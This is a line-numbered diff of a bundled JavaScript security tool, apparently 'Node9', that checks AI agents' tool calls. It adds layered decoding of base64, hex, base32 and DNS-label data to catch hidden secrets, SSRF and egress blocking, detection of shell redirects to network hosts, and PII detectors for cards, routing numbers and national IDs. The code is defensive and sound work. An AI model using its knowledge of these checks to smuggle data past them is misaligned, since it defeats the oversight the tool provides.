const flush = function* () {
|
|
11163
|
-
if (run.length >= 2) yield run.join("");
|
|
11164
|
-
run = [];
|
|
11165
|
-
width = 0;
|
|
11166
|
-
};
|
|
11167
|
-
for (const raw of text.split("\n")) {
|
|
11168
|
-
const line = raw.trim();
|
|
11169
|
-
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
11170
|
-
if (full && (!run.length || line.length === width)) {
|
|
11171
|
-
run.push(line);
|
|
11172
|
-
width = line.length;
|
|
11173
|
-
continue;
|
|
11174
|
-
}
|
|
11175
|
-
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
11176
|
-
run.push(line);
|
|
11177
|
-
yield* flush();
|
|
11178
|
-
continue;
|
|
11179
|
-
}
|
|
11180
|
-
yield* flush();
|
|
11181
|
-
if (full) {
|
|
11182
|
-
run.push(line);
|
|
11183
|
-
width = line.length;
|
|
11184
|
-
}
|
|
11185
|
-
}
|
|
11186
|
-
yield* flush();
|
|
11187
|
-
}
|
|
11188
|
-
function* encodedRegions(text, budget) {
|
|
11189
|
-
yield [text, false];
|
|
11190
|
-
for (const block of wrappedBase64(text)) yield [block, false];
|
|
11191
|
-
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
11192
|
-
try {
|
|
11193
|
-
new URL(match[0]);
|
|
11194
|
-
} catch {
|
|
11195
|
-
continue;
|
|
11196
|
-
}
|
|
11197
|
-
const parts = match[0].match(
|
|
11198
|
-
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
11199
|
-
);
|
|
11200
|
-
if (!parts) continue;
|
|
11201
|
-
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
11202
|
-
const regions = [
|
|
11203
|
-
parts[1],
|
|
11204
|
-
...host2.split("."),
|
|
11205
|
-
...parts[2].split("/"),
|
|
11206
|
-
...(parts[3] ?? "").split("&"),
|
|
11207
|
-
parts[4] ?? ""
|
|
11208
|
-
];
|
|
11209
|
-
for (const region of regions) if (region) yield [region, false];
|
|
11210
|
-
const labels = host2.split(".");
|
|
11211
|
-
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
11212
|
-
continue;
|
|
11213
|
-
for (let start = 0; start < labels.length; start++) {
|
|
11214
|
-
let joined = labels[start];
|
|
11215
|
-
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
11216
|
-
const run = labels.slice(start, end + 1);
|
|
11217
|
-
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
11218
|
-
break;
|
|
11219
|
-
joined += labels[end];
|
|
11220
|
-
if (joined.length < 16) continue;
|
|
11221
|
-
budget.joinedLabelBytes += joined.length;
|
|
11222
|
-
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
11223
|
-
budget.reasons.add("decode-labels");
|
|
11224
|
-
return;
|
|
11225
|
-
}
|
|
11226
|
-
yield [joined, true];
|
|
11227
|
-
}
|
|
11228
|
-
}
|
|
11229
|
-
}
|
|
11230
|
-
}
|
|
11231
|
-
function decodeBase32(raw) {
|
|
11232
|
-
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
11233
|
-
const out = [];
|
|
11234
|
-
let bits = 0;
|
|
11235
|
-
let accumulator = 0;
|
|
11236
|
-
for (const c of raw.toUpperCase()) {
|
|
11237
|
-
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
11238
|
-
bits += 5;
|
|
11239
|
-
if (bits >= 8) {
|
|
11240
|
-
bits -= 8;
|
|
11241
|
-
out.push(accumulator >> bits);
|
|
11242
|
-
accumulator &= (1 << bits) - 1;
|
|
11243
|
-
}
|
|
11244
|
-
}
|
|
11245
|
-
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
11246
|
-
return Buffer.from(out);
|
|
11247
|
-
}
|
|
11248
|
-
function* decodedCandidates(text, budget) {
|
|
11249
|
-
const stripped = stripInvisible(text);
|
|
11250
|
-
if (stripped !== text) yield ["invisibles", stripped];
|
|
11251
|
-
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
11252
|
-
const families = [
|
|
11253
|
-
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
11254
|
-
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
11255
|
-
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
11256
|
-
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
11257
|
-
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
11258
|
-
];
|
|
11259
|
-
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
11260
|
-
if (joined) yield ["dns-labels", region];
|
|
11261
|
-
for (const [kind, re] of families) {
|
|
11262
|
-
for (const match of region.matchAll(re)) {
|
|
11263
|
-
const raw = match[0];
|
|
11264
|
-
let buf;
|
|
11265
|
-
if (kind === "base64") {
|
|
11266
|
-
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
11267
|
-
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
11268
|
-
const unpadded = normalized.replace(/=+$/, "");
|
|
11269
|
-
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
11270
|
-
buf = Buffer.from(normalized, "base64");
|
|
11271
|
-
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
11272
|
-
} else if (kind === "base32") {
|
|
11273
|
-
const decoded2 = decodeBase32(raw);
|
|
11274
|
-
if (!decoded2) continue;
|
|
11275
|
-
buf = decoded2;
|
|
11276
|
-
} else {
|
|
11277
|
-
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
11278
|
-
}
|
|
11279
|
-
const decoded = textBytes(buf);
|
|
11280
|
-
if (decoded !== null) yield [kind, decoded];
|
|
11281
|
-
}
|
|
11282
|
-
}
|
|
11283
|
-
}
|
|
11284
|
-
}
|
|
11285
|
-
function secretViews(text, budget) {
|
|
11286
|
-
const seen = /* @__PURE__ */ new Set([text]);
|
|
11287
|
-
const out = [];
|
|
11288
|
-
let frontier = [{ text, transforms: [] }];
|
|
11289
|
-
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
11290
|
-
const next = [];
|
|
11291
|
-
for (const parent of frontier) {
|
|
11292
|
-
let perLeaf = 0;
|
|
11293
|
-
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
11294
|
-
if (seen.has(decoded)) continue;
|
|
11295
|
-
seen.add(decoded);
|
|
11296
|
-
const normalizing = kind === "invisibles" || kind === "percent";
|
|
11297
|
-
if (depth >= 2 && !normalizing) {
|
|
11298
|
-
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
11299
|
-
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
11300
|
-
budget.reasons.add("decode-nested");
|
|
11301
|
-
return out;
|
|
11302
|
-
}
|
|
11303
|
-
}
|
|
11304
|
-
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
11305
|
-
out.push(view);
|
|
11306
|
-
next.push(view);
|
|
11307
|
-
}
|
|
11308
|
-
}
|
|
11309
|
-
frontier = next;
|
|
11310
|
-
if (!frontier.length) return out;
|
|
11311
|
-
}
|
|
11312
|
-
for (const view of frontier) {
|
|
11313
|
-
if (!decodedCandidates(view.text, budget).next().done) {
|
|
11314
|
-
budget.reasons.add("decode-nested");
|
|
11315
|
-
break;
|
|
11316
|
-
}
|
|
11317
|
-
}
|
|
11318
|
-
return out;
|
|
11319
|
-
}
|
|
11320
|
-
|
|
11321
12002
|
// src/dlp/arguments.ts
|
|
11322
12003
|
var ARGUMENT_SCAN_LIMITS = {
|
|
11323
12004
|
maxDepth: 12,
|
|
@@ -11638,11 +12319,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
11638
12319
|
{
|
|
11639
12320
|
const dest = ssrfDestinationFloor(toolName, args, {
|
|
11640
12321
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
11641
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
12322
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
12323
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
11642
12324
|
});
|
|
11643
12325
|
if (dest) {
|
|
11644
12326
|
return {
|
|
11645
|
-
decision:
|
|
12327
|
+
decision: dest.decision,
|
|
11646
12328
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
11647
12329
|
reason: dest.reason,
|
|
11648
12330
|
ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
|
|
@@ -11839,11 +12521,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
11839
12521
|
{
|
|
11840
12522
|
const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
|
|
11841
12523
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
11842
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
12524
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
12525
|
+
// Only an ENABLED egress policy speaks for the operator here: the
|
|
12526
|
+
// shipped default carries allowPrivate without anyone having chosen it.
|
|
12527
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
11843
12528
|
});
|
|
11844
12529
|
if (ssrf) {
|
|
11845
12530
|
return {
|
|
11846
|
-
decision:
|
|
12531
|
+
decision: ssrf.decision,
|
|
11847
12532
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
11848
12533
|
reason: ssrf.reason,
|
|
11849
12534
|
ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
|
|
@@ -12165,8 +12850,66 @@ import { createHash as createHash3 } from "crypto";
|
|
|
12165
12850
|
var PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
|
|
12166
12851
|
var PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
|
|
12167
12852
|
var PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
|
|
12168
|
-
var PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
|
|
12169
|
-
var PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
|
|
12853
|
+
var PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
|
|
12854
|
+
var PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
|
|
12855
|
+
var PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
|
|
12856
|
+
var PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
|
|
12857
|
+
var PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
|
|
12858
|
+
var CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
|
|
12859
|
+
var PII_ROUTING_RE = /\b\d{9}\b/;
|
|
12860
|
+
var ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
|
|
12861
|
+
var ROUTING_LABEL_WINDOW = 24;
|
|
12862
|
+
var NATIONAL_ID_SHAPES = [
|
|
12863
|
+
{ regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
|
|
12864
|
+
{ regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
|
|
12865
|
+
{ regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
|
|
12866
|
+
{ regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
|
|
12867
|
+
{
|
|
12868
|
+
regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
|
|
12869
|
+
validate: validateNir
|
|
12870
|
+
},
|
|
12871
|
+
// PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
|
|
12872
|
+
// passes the CNP rules about 1 time in 400 and a random 11-digit id passes
|
|
12873
|
+
// PESEL about 1 in 50 (measured), so both need their name nearby.
|
|
12874
|
+
{ regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
|
|
12875
|
+
{ regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
|
|
12876
|
+
{ regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
|
|
12877
|
+
{ regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
|
|
12878
|
+
{ regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
|
|
12879
|
+
];
|
|
12880
|
+
var NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
|
|
12881
|
+
var NATIONAL_ID_LABEL_WINDOW = 32;
|
|
12882
|
+
var NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
|
|
12883
|
+
function hasNationalId(text) {
|
|
12884
|
+
if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
|
|
12885
|
+
const labelled = NATIONAL_ID_LABEL_RE.test(text);
|
|
12886
|
+
for (const shape of NATIONAL_ID_SHAPES) {
|
|
12887
|
+
if (shape.labelled && !labelled) continue;
|
|
12888
|
+
const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
|
|
12889
|
+
const re = new RegExp(shape.regex.source, flags);
|
|
12890
|
+
let m;
|
|
12891
|
+
while ((m = re.exec(text)) !== null) {
|
|
12892
|
+
if (!shape.validate(m[0])) continue;
|
|
12893
|
+
if (!shape.labelled) return true;
|
|
12894
|
+
const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
|
|
12895
|
+
if (NATIONAL_ID_LABEL_RE.test(before)) return true;
|
|
12896
|
+
}
|
|
12897
|
+
}
|
|
12898
|
+
return false;
|
|
12899
|
+
}
|
|
12900
|
+
function hasRoutingNumber(text) {
|
|
12901
|
+
if (!ROUTING_LABEL_RE.test(text)) return false;
|
|
12902
|
+
const re = new RegExp(PII_ROUTING_RE.source, "g");
|
|
12903
|
+
let m;
|
|
12904
|
+
while ((m = re.exec(text)) !== null) {
|
|
12905
|
+
if (!validateAbaRouting(m[0])) continue;
|
|
12906
|
+
const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
|
|
12907
|
+
const end = m.index + m[0].length;
|
|
12908
|
+
const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
|
|
12909
|
+
if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
|
|
12910
|
+
}
|
|
12911
|
+
return false;
|
|
12912
|
+
}
|
|
12170
12913
|
var PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
|
|
12171
12914
|
function* validCardRuns(text, base2, exemptFractions = true) {
|
|
12172
12915
|
const re = new RegExp(base2.source, "g");
|
|
@@ -12182,14 +12925,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
|
|
|
12182
12925
|
}
|
|
12183
12926
|
}
|
|
12184
12927
|
function hasValidCard(text) {
|
|
12185
|
-
for (const base2 of
|
|
12928
|
+
for (const base2 of CARD_PATTERNS) {
|
|
12186
12929
|
if (!validCardRuns(text, base2).next().done) return true;
|
|
12187
12930
|
}
|
|
12188
12931
|
return false;
|
|
12189
12932
|
}
|
|
12190
12933
|
function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
|
|
12191
12934
|
let out = text;
|
|
12192
|
-
for (const base2 of
|
|
12935
|
+
for (const base2 of CARD_PATTERNS) {
|
|
12193
12936
|
let res = "";
|
|
12194
12937
|
let last = 0;
|
|
12195
12938
|
for (const run of validCardRuns(out, base2, exemptFractions)) {
|
|
@@ -12230,38 +12973,95 @@ function detectPii(text) {
|
|
|
12230
12973
|
if (PII_PHONE_RE.test(text)) found.add("Phone");
|
|
12231
12974
|
if (hasValidCard(text)) found.add("Credit Card");
|
|
12232
12975
|
if (hasValidIban(text)) found.add("IBAN");
|
|
12976
|
+
if (hasRoutingNumber(text)) found.add("Bank Routing Number");
|
|
12977
|
+
if (hasNationalId(text)) found.add("National ID");
|
|
12233
12978
|
return [...found];
|
|
12234
12979
|
}
|
|
12235
|
-
var REALTIME_PII_PATTERNS = [
|
|
12980
|
+
var REALTIME_PII_PATTERNS = [
|
|
12981
|
+
"SSN",
|
|
12982
|
+
"Credit Card",
|
|
12983
|
+
"IBAN",
|
|
12984
|
+
"Bank Routing Number",
|
|
12985
|
+
"National ID"
|
|
12986
|
+
];
|
|
12236
12987
|
var MAX_PII_SCAN_BYTES = 1e5;
|
|
12237
|
-
function* stringLeaves(v, depth = 0) {
|
|
12988
|
+
function* stringLeaves(v, depth = 0, key) {
|
|
12238
12989
|
if (depth > 6) return;
|
|
12239
12990
|
if (typeof v === "string") {
|
|
12240
|
-
if (v.length > 0) yield v;
|
|
12991
|
+
if (v.length > 0) yield [v, key];
|
|
12241
12992
|
return;
|
|
12242
12993
|
}
|
|
12243
12994
|
if (typeof v === "number") {
|
|
12244
|
-
if (Number.isFinite(v)) yield String(v);
|
|
12995
|
+
if (Number.isFinite(v)) yield [String(v), key];
|
|
12245
12996
|
return;
|
|
12246
12997
|
}
|
|
12247
12998
|
if (!v || typeof v !== "object") return;
|
|
12248
12999
|
if (Array.isArray(v)) {
|
|
12249
|
-
for (const x of v) yield* stringLeaves(x, depth + 1);
|
|
13000
|
+
for (const x of v) yield* stringLeaves(x, depth + 1, key);
|
|
12250
13001
|
return;
|
|
12251
13002
|
}
|
|
12252
|
-
for (const x of Object.
|
|
13003
|
+
for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
|
|
13004
|
+
}
|
|
13005
|
+
function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
|
|
13006
|
+
const parts = [];
|
|
13007
|
+
let size = 0;
|
|
13008
|
+
for (const [leaf] of stringLeaves(args)) {
|
|
13009
|
+
if (size >= limit) break;
|
|
13010
|
+
parts.push(leaf);
|
|
13011
|
+
size += leaf.length + 1;
|
|
13012
|
+
}
|
|
13013
|
+
return parts.join("\n").slice(0, limit);
|
|
13014
|
+
}
|
|
13015
|
+
var IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
|
|
13016
|
+
"to",
|
|
13017
|
+
"recipient",
|
|
13018
|
+
"recipients",
|
|
13019
|
+
"payee",
|
|
13020
|
+
"beneficiary",
|
|
13021
|
+
"destination",
|
|
13022
|
+
"iban",
|
|
13023
|
+
"account",
|
|
13024
|
+
"account_number",
|
|
13025
|
+
"accountnumber"
|
|
13026
|
+
]);
|
|
13027
|
+
var WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
|
|
13028
|
+
function isIbanDestination(leaf, key) {
|
|
13029
|
+
if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
|
|
13030
|
+
const value = leaf.trim();
|
|
13031
|
+
return WHOLE_IBAN_RE.test(value) && validateIban(value);
|
|
13032
|
+
}
|
|
13033
|
+
var JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
|
|
13034
|
+
var JSON_ESCAPES = {
|
|
13035
|
+
n: "\n",
|
|
13036
|
+
t: " ",
|
|
13037
|
+
r: "\r",
|
|
13038
|
+
'"': '"',
|
|
13039
|
+
"\\": "\\",
|
|
13040
|
+
"/": "/"
|
|
13041
|
+
};
|
|
13042
|
+
function jsonUnescapedView(leaf) {
|
|
13043
|
+
if (!/\\[ntr"\\/u]/.test(leaf)) return null;
|
|
13044
|
+
return leaf.replace(
|
|
13045
|
+
JSON_ESCAPE_RE,
|
|
13046
|
+
(m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
|
|
13047
|
+
);
|
|
12253
13048
|
}
|
|
12254
13049
|
function detectArgsPii(args) {
|
|
12255
13050
|
if (args === null || args === void 0) return [];
|
|
12256
13051
|
const found = /* @__PURE__ */ new Set();
|
|
12257
13052
|
let budget = MAX_PII_SCAN_BYTES;
|
|
12258
13053
|
try {
|
|
12259
|
-
for (const leaf of stringLeaves(args)) {
|
|
13054
|
+
for (const [leaf, key] of stringLeaves(args)) {
|
|
12260
13055
|
if (budget <= 0) break;
|
|
12261
13056
|
const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
|
|
12262
13057
|
budget -= t.length;
|
|
12263
|
-
|
|
12264
|
-
|
|
13058
|
+
const destination = isIbanDestination(t, key);
|
|
13059
|
+
for (const view of [t, jsonUnescapedView(t)]) {
|
|
13060
|
+
if (view === null) continue;
|
|
13061
|
+
for (const p of detectPii(view)) {
|
|
13062
|
+
if (p === "IBAN" && destination) continue;
|
|
13063
|
+
if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
|
|
13064
|
+
}
|
|
12265
13065
|
}
|
|
12266
13066
|
}
|
|
12267
13067
|
} catch {
|
|
@@ -12851,6 +13651,15 @@ function walkCalls(command, out, depth, state) {
|
|
|
12851
13651
|
for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
|
|
12852
13652
|
return true;
|
|
12853
13653
|
}
|
|
13654
|
+
if (type === "Stmt") {
|
|
13655
|
+
for (const r of node.Redirs || []) {
|
|
13656
|
+
const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
|
|
13657
|
+
if (!h) continue;
|
|
13658
|
+
out.sends = true;
|
|
13659
|
+
out.destinations.push(`host:${h}`);
|
|
13660
|
+
}
|
|
13661
|
+
return true;
|
|
13662
|
+
}
|
|
12854
13663
|
if (type !== "CallExpr") return true;
|
|
12855
13664
|
const call = node;
|
|
12856
13665
|
if ((call.Args || []).length === 0) {
|
|
@@ -13378,8 +14187,8 @@ function matchCanaryArgs(args, values) {
|
|
|
13378
14187
|
|
|
13379
14188
|
// src/scan/canonical.ts
|
|
13380
14189
|
var LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
13381
|
-
var CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
13382
|
-
var CANONICAL_EXTRACTOR_HASH = "
|
|
14190
|
+
var CANONICAL_EXTRACTOR_VERSION = "canonical-v29";
|
|
14191
|
+
var CANONICAL_EXTRACTOR_HASH = "3b936dab47d27942";
|
|
13383
14192
|
var DEDUPE_PREVIEW_LEN = 120;
|
|
13384
14193
|
function extractCanonicalFindings(call, ctx) {
|
|
13385
14194
|
const out = [];
|
|
@@ -13800,6 +14609,7 @@ export {
|
|
|
13800
14609
|
analyzeFsOperation,
|
|
13801
14610
|
analyzePipeChain,
|
|
13802
14611
|
analyzeShellCommand,
|
|
14612
|
+
argumentLeavesText,
|
|
13803
14613
|
catalogSettingsFromConfig,
|
|
13804
14614
|
checkDangerousSql,
|
|
13805
14615
|
checkIdForCheckedBy,
|
|
@@ -13916,6 +14726,7 @@ export {
|
|
|
13916
14726
|
scanViews,
|
|
13917
14727
|
sensitivePathMatch,
|
|
13918
14728
|
shellRuleArgs,
|
|
14729
|
+
shellScriptOperands,
|
|
13919
14730
|
ssrfCheckId,
|
|
13920
14731
|
ssrfDestinationFloor,
|
|
13921
14732
|
ssrfExemptMatches,
|